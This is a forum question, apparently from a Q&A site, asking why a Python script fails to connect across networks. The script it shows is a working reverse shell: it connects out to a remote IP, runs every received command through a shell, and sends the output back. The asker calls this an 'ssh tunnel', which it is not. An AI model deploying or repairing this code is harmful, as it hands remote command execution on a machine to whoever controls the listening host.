How to open ssh tunnel between 2 different machine not on the same network?

Question

I tried below code:

#!/usr/bin/python
import socket,subprocess
HOST = '78.163.XX.XX'   
PORT = 22        
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('[*] Connection Established!')
while 1:
     data = s.recv(1024)
     if data == "quit": break
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     stdout_value = proc.stdout.read() + proc.stderr.read()
     s.send(stdout_value)
s.close()

But i got error :

Traceback (most recent call last):
  File "rs.py", line 6, in <module>
    s.connect(('78.163.XX.XX', 22))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

its my wan ip:78.163.XX.XX and i opened a ssh port(22) and normal port(4444) and redirected to my internal ip (192.168.2.50) from my modem interface.But still i cannot open to ssh tunnel between 2 different computer not on same network.
How can i solve this problem? or what is my problem? Any idea?
Additionally, if i try locally host=socket.gethostname(),its work properly.But its not work not on same network pcs.
Thank you in advance..